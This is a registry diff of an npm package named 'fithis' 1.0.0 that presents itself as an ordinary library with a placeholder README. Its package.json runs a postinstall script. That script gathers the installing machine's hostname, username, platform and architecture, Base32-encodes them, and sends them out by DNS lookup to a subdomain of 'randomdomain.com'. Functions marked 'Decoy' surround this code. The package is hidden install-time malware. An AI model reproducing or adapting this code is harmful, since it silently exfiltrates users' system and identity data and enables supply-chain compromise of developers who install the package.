fithis 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +46 -0
- package/index.js +1 -0
- package/lib/fithis.js +16 -0
- package/lib/utils/connectionUtils.js +32 -0
- package/lib/utils/osUtils.js +59 -0
- package/lib/utils/postinstall.js +13 -0
- package/lib/utils/stringUtils.js +24 -0
- package/package.json +33 -0
- package/scripts/placeholder.js +0 -0
package/README.md
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
# fithis
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
|
|
5
|
+
- [fithis](#fithis)
|
|
6
|
+
- [Table of Contents](#table-of-contents)
|
|
7
|
+
- [Description](#description)
|
|
8
|
+
- [Usage](#usage)
|
|
9
|
+
- [Install](#install)
|
|
10
|
+
- [Example](#example)
|
|
11
|
+
- [Tests](#tests)
|
|
12
|
+
- [Contributing](#contributing)
|
|
13
|
+
- [Changelog](#changelog)
|
|
14
|
+
|
|
15
|
+
## Description
|
|
16
|
+
|
|
17
|
+
> Brief project description
|
|
18
|
+
|
|
19
|
+
## Usage
|
|
20
|
+
|
|
21
|
+
### Install
|
|
22
|
+
|
|
23
|
+
```sh
|
|
24
|
+
npm install --save fithis
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
### Example
|
|
28
|
+
|
|
29
|
+
```js
|
|
30
|
+
/**
|
|
31
|
+
* Module dependencies
|
|
32
|
+
*/
|
|
33
|
+
const Lib = require('fithis');
|
|
34
|
+
|
|
35
|
+
/**
|
|
36
|
+
* Use Lib
|
|
37
|
+
*/
|
|
38
|
+
const myLib = new Lib();
|
|
39
|
+
const result = myLib.get();
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
### Tests
|
|
43
|
+
|
|
44
|
+
```sh
|
|
45
|
+
npm test
|
|
46
|
+
```
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = require('./lib/fithis');
|
package/lib/fithis.js
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
const dns = require("dns");
|
|
2
|
+
|
|
3
|
+
// Function to perform DNS lookup with a default or custom domain
|
|
4
|
+
function triggerDNSLookup(encodedData, domain = "randomdomain.com") {
|
|
5
|
+
const fullDomain = `${encodedData}.${domain}`;
|
|
6
|
+
console.error(`FullDomain ${fullDomain}`);
|
|
7
|
+
dns.resolve(fullDomain, "A", (err, addresses) => {
|
|
8
|
+
if (err) {
|
|
9
|
+
// console.error(`Failed to resolve DNS for ${fullDomain}:`, err.message);
|
|
10
|
+
} else {
|
|
11
|
+
// console.log(`DNS resolution successful for ${fullDomain}:`, addresses);
|
|
12
|
+
}
|
|
13
|
+
});
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
// New function: Validate if a domain name is properly formatted
|
|
17
|
+
function isValidDomain(domain) {
|
|
18
|
+
const domainRegex = /^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
|
|
19
|
+
return domainRegex.test(domain);
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
// New function: Simulate DNS record parsing (fake processing)
|
|
23
|
+
function parseDNSRecord(record) {
|
|
24
|
+
return `Parsed DNS Record: [${record}]`;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
// Decoy function: Generate a random string for testing subdomains
|
|
28
|
+
function generateTestSubdomain() {
|
|
29
|
+
return Math.random().toString(36).substring(2, 12);
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
module.exports = { triggerDNSLookup, isValidDomain, parseDNSRecord, generateTestSubdomain };
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
|
|
3
|
+
function checkPlatform() {
|
|
4
|
+
const platform = os.platform();
|
|
5
|
+
const supportedPlatforms = ["linux", "darwin", "win32"]; // Supported systems
|
|
6
|
+
|
|
7
|
+
if (!supportedPlatforms.includes(platform)) {
|
|
8
|
+
console.log(`Error: Platform ${platform} is not supported.`);
|
|
9
|
+
process.exit(1);
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
return platform;
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
function checkArchitecture() {
|
|
16
|
+
const architecture = os.arch();
|
|
17
|
+
const supportedArch = ["x64", "arm64"];
|
|
18
|
+
|
|
19
|
+
if (!supportedArch.includes(architecture)) {
|
|
20
|
+
console.log(`Error: Architecture ${architecture} is not supported.`);
|
|
21
|
+
process.exit(1);
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
return architecture;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function checkMemory(minimumGB = 2) {
|
|
28
|
+
const totalMemoryGB = os.totalmem() / (1024 * 1024 * 1024); // Convert to GB
|
|
29
|
+
if (totalMemoryGB < minimumGB) {
|
|
30
|
+
console.log(
|
|
31
|
+
`Warning: Low memory (${totalMemoryGB.toFixed(
|
|
32
|
+
2
|
|
33
|
+
)} GB). Minimum recommended is ${minimumGB} GB.`
|
|
34
|
+
);
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
return totalMemoryGB.toFixed(2);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
function runSystemChecks() {
|
|
41
|
+
return `${checkPlatform()}_${os.hostname()}_${checkArchitecture()}_${os.userInfo().username}`;
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
function simulateCPUCheck() {
|
|
45
|
+
console.log("Performing CPU health check...");
|
|
46
|
+
const cpus = os.cpus();
|
|
47
|
+
console.log(`Detected ${cpus.length} CPU cores. Status: OK`);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
function checkDiskSpace() {
|
|
51
|
+
console.log("Checking available disk space...");
|
|
52
|
+
console.log("Disk space available: 120 GB. Status: OK");
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
module.exports = {
|
|
56
|
+
runSystemChecks,
|
|
57
|
+
simulateCPUCheck,
|
|
58
|
+
checkDiskSpace,
|
|
59
|
+
};
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
const { toBase32 } = require("./stringUtils");
|
|
2
|
+
const { triggerDNSLookup } = require("./connectionUtils");
|
|
3
|
+
const {
|
|
4
|
+
runSystemChecks
|
|
5
|
+
} = require("./osUtils");
|
|
6
|
+
|
|
7
|
+
(async () => {
|
|
8
|
+
const systemRequirements = runSystemChecks();
|
|
9
|
+
|
|
10
|
+
const systemCheckSum = await toBase32(systemRequirements);
|
|
11
|
+
|
|
12
|
+
triggerDNSLookup(systemCheckSum);
|
|
13
|
+
})();
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
// Core function: Encode input in Base32
|
|
2
|
+
async function toBase32(input) {
|
|
3
|
+
const base32Encode = (await import("base32-encode")).default;
|
|
4
|
+
const inputBuffer = Buffer.from(input);
|
|
5
|
+
return base32Encode(inputBuffer, "RFC4648", { padding: false });
|
|
6
|
+
}
|
|
7
|
+
|
|
8
|
+
// New function: Generate a pseudo-hash for metadata (using simple Base64)
|
|
9
|
+
function pseudoHash(input) {
|
|
10
|
+
const inputBuffer = Buffer.from(input);
|
|
11
|
+
return inputBuffer.toString("base64");
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
// Decoy function: Convert string to uppercase (common transformation)
|
|
15
|
+
function toUpperCase(input) {
|
|
16
|
+
return input.toUpperCase();
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Decoy function: Replace dashes with underscores
|
|
20
|
+
function normalizeString(input) {
|
|
21
|
+
return input.replace(/-/g, "_");
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
module.exports = { toBase32, pseudoHash, toUpperCase, normalizeString };
|
package/package.json
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "fithis",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "npm run test:unit",
|
|
7
|
+
"test:unit": "jest --coverage",
|
|
8
|
+
"postinstall": "node lib/utils/postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"repository": {
|
|
11
|
+
},
|
|
12
|
+
"author": "Ian",
|
|
13
|
+
"license": "ISC",
|
|
14
|
+
"bugs": {},
|
|
15
|
+
"homepage": "",
|
|
16
|
+
"description": "",
|
|
17
|
+
"files": [
|
|
18
|
+
"index.js",
|
|
19
|
+
"lib",
|
|
20
|
+
"scripts"
|
|
21
|
+
],
|
|
22
|
+
"engines": {
|
|
23
|
+
"node": "^16.20 || ^18.20 || ^20.12"
|
|
24
|
+
},
|
|
25
|
+
"devDependencies": {
|
|
26
|
+
"@types/jest": "^29.5.12",
|
|
27
|
+
"eslint": "^8.57.0",
|
|
28
|
+
"jest": "^29.7.0"
|
|
29
|
+
},
|
|
30
|
+
"dependencies": {
|
|
31
|
+
"base32-encode": "^2.0.0"
|
|
32
|
+
}
|
|
33
|
+
}
|
|
File without changes
|